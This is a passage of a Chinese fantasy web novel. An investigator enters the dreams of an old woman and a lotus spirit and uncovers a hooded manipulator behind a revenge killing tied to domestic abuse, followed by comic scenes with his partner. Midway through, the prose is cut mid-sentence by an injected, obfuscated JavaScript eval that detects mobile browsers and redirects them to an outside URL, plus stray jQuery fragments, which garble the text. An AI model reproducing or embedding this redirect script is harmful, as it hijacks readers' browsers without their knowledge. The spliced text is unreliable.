靳清云又继续往前翻,翻到郑婆婆三年前的记忆。
三年前,郑婆婆的孙女被丈夫打死,就在郑婆婆想杀了孙女婿一家为孙女报仇时,有人找上了她。
靳清云将画面定格,望向那个黑袍男人,无语凝噎。
真的好难评。
全身上下从头到脚都覆盖住,连眼睛都戴上了墨镜,完全没法通过身形、眼睛等辨认人。
怕是身高,也有作假。
毕竟现在无论男女,内增高鞋,销量很好。
不过,靳清云可以确定,这人和唆使桃花妖的是同一人,就算不是同一人,也一定有联系。
还有,郑婆婆卖生子药的目的,与那妇人所言有所出入,郑婆婆是因为那黑袍男说,能替她孙女复仇,让男方一家人不得好死,才领了卖生子药的工作。
她心底其实有所猜测,这生子药怕不是个好玩意,若是个好玩意,用得着找她这个半老婆子?
还躲躲闪闪的,不得大肆宣传,但又得卖出去。
可是这和她有什么关系?
她自己都挣扎着活在这世上,亲人全都没了,她对那些人心怀怜悯,那谁来可怜她可怜的孙女?
她孙女被打得嗷嗷惨叫时,为何没人帮她?
不是说公安为老百姓干实事吗,为什么就看不到对她孙女被打?
为何她孙女被磋磨,被打死,男方一家没有受到什么惩罚?
死吧死吧,都死吧。
郑婆婆麻木不仁地想。
靳清云又想叹气了。
苛责她吧,又不忍心,不苛责她吧,她又做错了事。
说她可怜吧,她又干了坏事,说她是坏人吧,她又将赚到的钱捐给反家暴基金会。
人性啊,真是难评。
他从郑婆婆梦境里离开,又一鼓作气,找到连婆婆梦境钻了进去。
连婆婆的记忆很简单,绝大多数就是在荷塘里,夏天开花,结莲蓬,其余时间睡觉觉,就这样,便算开智二十年,她依旧像个婴儿一样,遵循本能在生活。
事情转机是在二十五年前,五岁的郑珍宝(郑婆婆孙女)在荷塘边伸手摘莲蓬时,脚一滑跌入荷塘,和她一起来这的小伙伴玩得入迷,谁都没注意到她。
眼看着郑珍宝就要被淹死,莲花妖用莲叶将她水中托起。
郑珍宝本来吓得哇哇大哭,被这神奇地一幕惊得打嗝,不过小孩子天马行空,接受了自己坐在莲叶上不会倒,不会摔后,拍着手乐得哈哈大笑。
莲花妖见其他小朋友被郑珍宝的笑声吸引,连忙将她放到莲塘边,老老实实不动了。
回去后,郑珍宝告诉奶奶,她碰到了莲花仙子,莲花仙子用荷叶救了她。
郑婆婆人老经历的事多,次日就买了烧鸡、糕点、水果和线香,去荷塘边供奉荷花妖,感谢她救了自己孙女,又因着自己一桩私心,让郑珍宝拜了干娘。
有了郑婆婆的供奉,莲花妖的活动范围,就成荷塘扩大到郑婆婆家,(其实这是保家仙的一种,接受了他家的供奉,答应庇佑他家,就成了保家仙),当然彼时莲花妖不知道,因为喜欢郑婆婆(郑婆婆是第一个给她献食物的人),喜欢郑珍宝(她喊她干娘诶),她懵懂地凭本能答应了。
之后,莲花妖与郑婆婆和郑珍宝一起生活了十五年,在这十五年里,她学到的东西,比之前二十年都要多,心智也成熟了不少。
郑珍宝二十岁结婚,本来打算将干娘牌位带过去的,但婆家不愿意,什么野神也配进他家的门?没办法,郑珍宝只能孤身出家。
其实,男方家一直瞧不上郑珍宝,郑珍宝没读过大学,家里只有一个外婆在,她的父亲是死囚犯,母亲是做那行事的,要不是男方坚持,郑珍宝嫁不进去。
郑珍宝吃莲花妖的莲子长大,自幼受灵气蕴养,端得是珠润玉质,明媚不可方物,男方被她美色所迷,很是珍爱她一段时间。
可惜再好看的美色看多了也腻,且婆家磋磨,美色不如往昔,加之怀一个是女儿,怀一个是女儿,本就不多的情谊消耗得干干净净。
只是郑珍宝隐瞒得好,每次回家见外婆和干娘,都给化了浓厚的妆,遮盖住疲惫的面容,又穿着华贵的衣物,打扮得珠光宝气,让家人以为自己过得很好。
眼睛有点花的郑婆婆,和心眼子不多的莲花妖,轻易被瞒了过去。
直至郑珍宝身死,所有的隐瞒都瞒不住,郑婆婆和莲花妖才知道这事。
莲花妖气自己实力低微,无法化形为干女儿报仇,更恨自己不是动物妖,能到处跑。
她只是一株无用的植物妖,在未化形前,只能随本体扎在原地。
在莲花妖恨意滔天时,那个全身黑袍的黑衣人,又出现了。
他给了莲花妖一颗木心,助莲花妖化了形,而莲花妖化形的第一时间,就去替郑珍宝报了仇(郑婆婆以为是黑袍人履行了承诺,这黑袍人一事两吃,还不脏自己的手),之后,专心为黑袍人办事,黑袍人怎么说,她就怎么做。
木心不是白用的,她用了,就得受黑袍人控制。
靳清云看前边拜干娘那段,乐得直哈哈,你能想象,一个五岁的孩子,一本正经对一个婴儿喊干娘,那个婴儿还一本正经的回道,诶,干女儿,谁瞧了不被逗乐,不被可爱到?
之后日常,因有郑珍宝和莲花妖这两个活宝在,郑婆婆的日子贫苦却倍觉温馨,谁瞧了不会心一笑,为她们之间流转地默默温情而心生感触?
可惜最后日子急转而下,让人叹息。
说女性嫁人,是第二次投胎,真的没错。
现在离婚成本越来越高,也越来越难离,女性一旦选错婚姻,不脱层皮,真难脱身。
更有一些女性,就算脱了几层皮,也没法脱身。
好好的日子,就因为结了婚,而面目全非,而幸福毁于一旦,让人不知道该悲还是该叹。
靳清云沉默地从连婆婆梦里离开。
他刚离开,连婆婆警觉地睁开双眼,警惕四望。
没察觉到什么不对,她靠着床,望向窗外的明月,满脸沉郁。
又梦见珍宝了。
她被那个男人打得受不了时,是不是曾无数次喊,干娘救我?
她是不是无数次绝望,绝望她的亲人没法替她做主?没法救她出苦难海?
她每一次回家,将伤痕遮掩得严严实实,将苦楚自己咽下,将快乐与笑声留给她与外婆,心里在想些什么?
是不是当初她警觉一点,敏..感.一点,是不是珍宝就不会死?
这些事,每想一次,就全身疼痛一次,可是这虚幻的疼,又怎么比得过珍宝当初受的实质的疼?
那一家人,还是让他们死得太轻易。
靳清云脱离梦境,回到躯壳,张小龙凑过来,问:“是不是成功了?”
外边日头已经破开云层,天光洒亮大地,靳清云清楚瞧见张小龙两眼迷蒙,疲惫难掩。
当即心生感动。
没想到他与张同志只是临时搭档,对方却对他这么关切,担心他有危险,竟彻夜不眠守了一..夜.。
“张同志,”靳清云感动地开口,“喊张同志太生疏,我喊你小龙哥吧,小龙哥,”他握住张小龙的双手,“你守了我一..夜.,辛苦了。我没事,你去睡觉吧。”
张小龙在靳清云握住他手时,就惊
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361142|183687||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
慌失措地想抽手。
干什么干什么?
不会忽然get到他的魅力,想对他下手了吧?
听说这些有钱人,最是荤素不忌,偏爱他这种长相斯文、面皮白净的学者。
但听到后边一句,张小龙僵住,尴尬地笑笑,“不辛苦,你是我同事,我总得守护你安全。”
呜呜呜,他良心有点痛。
他一..夜.未睡,不是担心他受到危险,而是连夜在算郑婆婆的命格。
“哈哈,既然你醒了,我先去睡觉。”
靳清云收回手,快乐地挥手,“去吧去吧。”
张小龙往床上走。
靳清云忽然想起一事,对张小龙道:“小龙哥,你还没算郑婆婆的命格吧?”
张小龙心生不好预感,勉强笑了笑,“还没算呢,等我睡醒就算,怎么了?”
“没算就好。”靳清云松了口气,纯良的笑道,“郑婆婆的生日,应该是阳历七月份。”
张小龙:“!!!”
天塌了。
全都得重算。
且工作量一下子变了好多。
再将这事传回去,他怕回师门会被师兄师弟打,被师侄偷偷套麻袋。
他顽强地扛住了,试图不接受这个事实,“怎么会呢?身份证就算有所误差,也不会差大半年吧?”
靳清云直接打破他的侥幸,将梦境里看到郑婆婆刚出生时她奶奶说的话,以及逃避鬼子扫荡时山上植物。
植物是会报时的,割稻谷这个可能会是七月,可能会是十月(无论哪个都不是十二月),但山上的植物不会撒谎。
张小龙捂着心口倒在床上,背对着靳清云,默默舔舐伤口。
靳清云关心地问:“小龙哥,你还好吧?”
“我没事。”张小龙虚弱地开口,“只是太累了。”
心累。
“那好,小龙哥你睡吧,我不打扰你了。”
靳清云靠着沙发,下意识想发信息给韩力,问他公司有什么要处理的事物。
但刚打开微信,靳清云就意识到,自己正处于假期,韩力也被他放了假。
而且过不久他会辞去总裁一职,由尚云舒接替,他还管公司的事干嘛?
他该学会享受生活。
靳清云正准备打开影视APP,看个电影,朗天玄给他发了一个小视频。
[老狼嗷呜:哈哈哈,笑死我了。]
靳清云打开一看,也乐了。
视频应该是用相机拍的,且用的相机很好,十分高清,能瞧见墨绿苍穹纯粹深邃,一道弯月明亮如灯,几点寒星似碎钻般被明月掩盖住光芒。
这时,一只油光发亮的大公鸡张开翅膀,在空中飞翔飞翔。
翅尖泛黑的油黄色翅膀一个扑闪,公鸡就似离弦的剑往前飞了一大段,公鸡越飞越远,直至成一个黑点。
能瞧出拍照的主人大半夜的不睡觉,很有闲情的拍星星拍月亮,那只飞翔的鸡一映入视野,立马追踪那只鸡,高高的大楼,璀璨的灯火,模糊的光晕,都成为那只飞鸡的背景。
靳清云也哈哈大笑,问朗天玄,这是谁合成的?还挺有想法。
这时,季曙星拎着早餐从门口走了进来,神色轻松。
见靳清云满脸笑意,跟着笑道:“嚯,这么高兴,昨晚收获颇丰?”
靳清云点头,往旁边挪了挪,让开个位置,“确实找到不少线索,不过我高兴倒不是因为这个。”
靳清云将朗天玄发给他的视频打开,乐不可支,“你瞧,鸡击长空,哈哈哈,很有想法的一只鸡。”
季曙星死鸡眼,斜视他,“很好笑吗?”